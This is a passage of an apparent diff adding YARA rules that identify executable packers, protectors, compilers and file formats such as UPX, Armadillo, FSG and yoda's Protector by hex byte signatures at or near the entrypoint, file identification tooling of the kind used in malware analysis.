+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 D8 39 00 10 E8 30 FA FF FF 33 C0 55 68 D4 3A 00 10 64 FF 30 64 89 ?? ?? ?? ?? E4 3A 00 10 A1 00 57 00 10 50 E8 CC FA FF FF 8B D8 53 A1 00 57 00 10 50 E8 FE FA FF FF 8B F8 53 A1 00 57 00 10 50 E8 C8 FA FF FF 8B D8 53 E8 C8 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 14 57 00 10 E8 AD F6 FF FF B8 14 57 00 10 E8 9B F6 FF FF 8B CF 8B D6 E8 DA FA FF FF 53 E8 84 FA FF FF 8D 4D EC BA F8 3A 00 10 A1 14 57 00 10 E8 0A FB FF FF 8B 55 EC B8 14 57 00 10 E8 65 F5 FF FF B8 14 57 00 10 E8 63 F6 FF FF E8 52 FC FF FF 33 C0 5A 59 59 64 89 10 68 DB 3A 00 10 8D 45 EC E8 ED F4 FF FF C3 E9 83 EF FF FF EB F0 5F 5E 5B E8 ED F3 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 12 00 00 00 6B 75 74 68 37 36 67 62 62 67 36 37 34 76 38 38 67 79}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Yodas_Protector_102__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _File_Analyzer_Registration_file_v10_
+{
+	meta:
+		description = "File Analyzer Registration file v1.0"
+	strings:
+		$0 = {24 46 41 52 45 47 24 4D 2D ?? ?? ?? ?? 31}
+	condition:
+		$0
+}
+rule _Pohernah_101__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.1 - by Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 38 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 14 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _NoodleCrypt_200_Eng__NoodleSpa_
+{
+	meta:
+		description = "NoodleCrypt 2.00 (Eng) -> NoodleSpa"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_PEX_099_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PEX 0.99]"
+	strings:
+		$0 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_33__Silent_Software__Silent_Shield_c2005_h_
+{
+	meta:
+		description = "Morphine 3.3 -> Silent Software & Silent Shield (c)2005 (h)"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63}
+	condition:
+		$0
+}
+rule _yodas_Protector_101__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector 1.01 -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00}
+	condition:
+		$0
+}
+rule _HACKSTOP_v119_
+{
+	meta:
+		description = "HACKSTOP v1.19"
+	strings:
+		$0 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2xx_max_compressed_resources__wwwstrongbitcom__SignByhaggar_
+{
+	meta:
+		description = "EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com * Sign.By.haggar"
+	strings:
+		$0 = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50}
+	condition:
+		$0
+}
+rule _Armadillo_v260b2_
+{
+	meta:
+		description = "Armadillo v2.60b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v130_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.30 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _JAM_v211_
+{
+	meta:
+		description = "JAM v2.11"
+	strings:
+		$0 = {50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extr_Passwcheck_Vir_shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extr. Passw.check. Vir. shield)"
+	strings:
+		$0 = {03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_minimum_protection__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (minimum protection) -> www.strongbit.com"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0}
+	condition:
+		$0
+}
+rule _PECompact_v147__v150_
+{
+	meta:
+		description = "PECompact v1.47 - v1.50"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v20_
+{
+	meta:
+		description = "Borland Delphi v2.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0A ?? ?? ?? B8 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _CPAV_
+{
+	meta:
+		description = "CPAV"
+	strings:
+		$0 = {E8 ?? ?? 4D 5A B1 01 93 01 00 00 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_PE_Encryptor_Alpha_preview_
+{
+	meta:
+		description = "PC PE Encryptor Alpha preview"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_V05__Smoke_
+{
+	meta:
+		description = "EXE Shield V0.5 -> Smoke"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_620_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.20]"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_13_
+{
+	meta:
+		description = "FSG 1.3"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+	condition:
+		$0
+}
+rule _Shrinker_33_
+{
+	meta:
+		description = "Shrinker 3.3"
+	strings:
+		$0 = {00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+	condition:
+		$0
+}
+rule _Stony_Brook_Pascalp_v70_
+{
+	meta:
+		description = "Stony Brook Pascal+ v7.0"
+	strings:
+		$0 = {31 ED 9A ?? ?? ?? ?? 55 89 E5 81 EC ?? ?? B8 ?? ?? 0E 50 9A ?? ?? ?? ?? BE ?? ?? 1E 0E BF ?? ?? 1E 07 1F FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_11__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 1.1 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0
+}
+rule _UPX_v0761_pe_exe_
+{
+	meta:
+		description = "UPX v0.76.1 [pe exe"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 57 83 ?? ?? 31 DB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v10__v11_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.0 / v1.1"
+	strings:
+		$0 = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_3X5X__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.X-5.X -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08}
+		$1 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXShit_006_
+{
+	meta:
+		description = "UPXShit 0.06"
+	strings:
+		$0 = {B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _WinUpack_v030_beta__By_Dwing_
+{
+	meta:
+		description = "WinUpack v0.30 beta -> By Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02}
+	condition:
+		$0
+}
+rule _MSLRH_032a_fake_PECompact_14x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PECompact 1.4x) -> emadicius"
+	strings:
+		$0 = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A}
+	condition:
+		$0
+}
+rule _BeRoEXEPacker_v100_LZBRR_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZBRR]"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+	condition:
+		$0 at entrypoint
+}
+rule _VBOX_v43_MTE_
+{
+	meta:
+		description = "VBOX v4.3 MTE"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Interplays_MVE_file_
+{
+	meta:
+		description = "Interplay's MVE file"
+	strings:
+		$0 = {49 6E 74 65 72 70 6C 61 79 20 4D 56 45 20 46 69 6C 65 1A 00 1A}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7}
+		$1 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 EA 0F E8 01 00 00 00 64 59 02 D3 EB 02 D6 5C 88 16 EB 02 CD 20 46 E8 02 00 00 00 6B B5 59 4B 0F B7 C6 0B DB 75 B1 EB 02 50 AA 91 44 5C 90 D2 95 57 9B AE E1 A4 65 ?? ?? ?? B3 09 A1 C6 BF C2 C5 CA 9D 43 D6 5E ED 20 EF B2 A6 98 69 1F CA 96 A8 FA FA 12 25 77 FF 3D D6 0F 27 3A 8C 34 52 E2 24 3C 4F A1 52 E7 39 7B ED 50 42 5A 6D 5E 0F C5 4E CD 9A 08 4C 40 4F AD 6D 70 73 A1 44 F1 8F 6A BD 88 8B 8E 7C BC 43 6B 85 14 E4 B9 72 97 CB 43 FD 79 9B C6 6D AC E9 CA CD D0 10 D6 56 DC DF 55 EF 68 E7 F3 64 FA 7A F2 7C 77 05}
+		$2 = {EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Stony_Brook_Pascal_v614_
+{
+	meta:
+		description = "Stony Brook Pascal v6.14"
+	strings:
+		$0 = {31 ED 9A ?? ?? ?? ?? 55 89 E5 ?? EC ?? ?? 9A}
+	condition:
+		$0 at entrypoint
+}
+rule _Launcher_Generator_v103_
+{
+	meta:
+		description = "Launcher Generator v1.03"
+	strings:
+		$0 = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00 74 51 C1 E0 02 A3 5C 20 40 00 BB 70 21 40 00 03 C3 8B 18 68 60 20 40 00 53 B8 F0 21 40 00 03 05 5C 20 40 00 8B D8 8B 03 05 70 20 40 00 50 B8 70 22 40 00 03 05 5C 20 40 00 FF 30 FF 35 00 20 40 00 E8 26 00 00 00 A1 58 20 40 00 40 A3 58 20 40 00 EB A2 6A FF E8 00 00 00 00 FF 25 5C 30 40 00 FF 25 60 30 40 00 FF 25 64 30 40 00 FF 25 68 30 40 00 FF 25 6C 30 40 00 FF 25 74 30 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Ding_Boys_PElock_v007_
+{
+	meta:
+		description = "Ding Boy's PE-lock v0.07"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vcasm_Protector_V1X__vcasm_
+{
+	meta:
+		description = "Vcasm Protector V1.X -> vcasm"
+	strings:
+		$0 = {EB ?? 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Exact_Audio_Copy__UnknownCompiler_
+{
+	meta:
+		description = "Exact Audio Copy -> (UnknownCompiler)"
+	strings:
+		$0 = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CExe_v10a_
+{
+	meta:
+		description = "CExe v1.0a"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_2628__Jtit_h_
+{
+	meta:
+		description = "Thinstall 2.628 -> Jtit (h)"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_v12__BG_Software_Protect_Technologies_h_
+{
+	meta:
+		description = "Software Compress v1.2 -> BG Software Protect Technologies (h)"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_MSVCpp_70_DLL_Method_3__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB}
+	condition:
+		$0
+}
+rule _ActiveMARK_5x__Trymedia_Systems_Inc_h_
+{
+	meta:
+		description = "ActiveMARK 5.x -> Trymedia Systems Inc. (h)"
+	strings:
+		$0 = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+	condition:
+		$0
+}
+rule _CAN2EXE_v001_
+{
+	meta:
+		description = "CAN2EXE v0.01"
+	strings:
+		$0 = {26 8E 06 ?? ?? B9 ?? ?? 33 C0 8B F8 F2 AE E3 ?? 26 38 05 75 ?? EB ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v183_
+{
+	meta:
+		description = "Armadillo v1.83"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE32_v11_
+{
+	meta:
+		description = "PKLITE32 v1.1"
+	strings:
+		$0 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10}
+		$1 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10}
+		$2 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8}
+		$3 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 at entrypoint
+}
+rule _Turbo_C_1988_
+{
+	meta:
+		description = "Turbo C 1988"
+	strings:
+		$0 = {8C D8 BB ?? ?? 8E DB 8C D3 8B CC FA 8E ?? ?? ?? BC}
+	condition:
+		$0 at entrypoint
+}
+rule _TopSpeed_v301_1989_
+{
+	meta:
+		description = "TopSpeed v3.01 1989"
+	strings:
+		$0 = {1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V18XV19Xnbsp__Oreans_Technologiesnbsp_nbsp_SignByfly_
+{
+	meta:
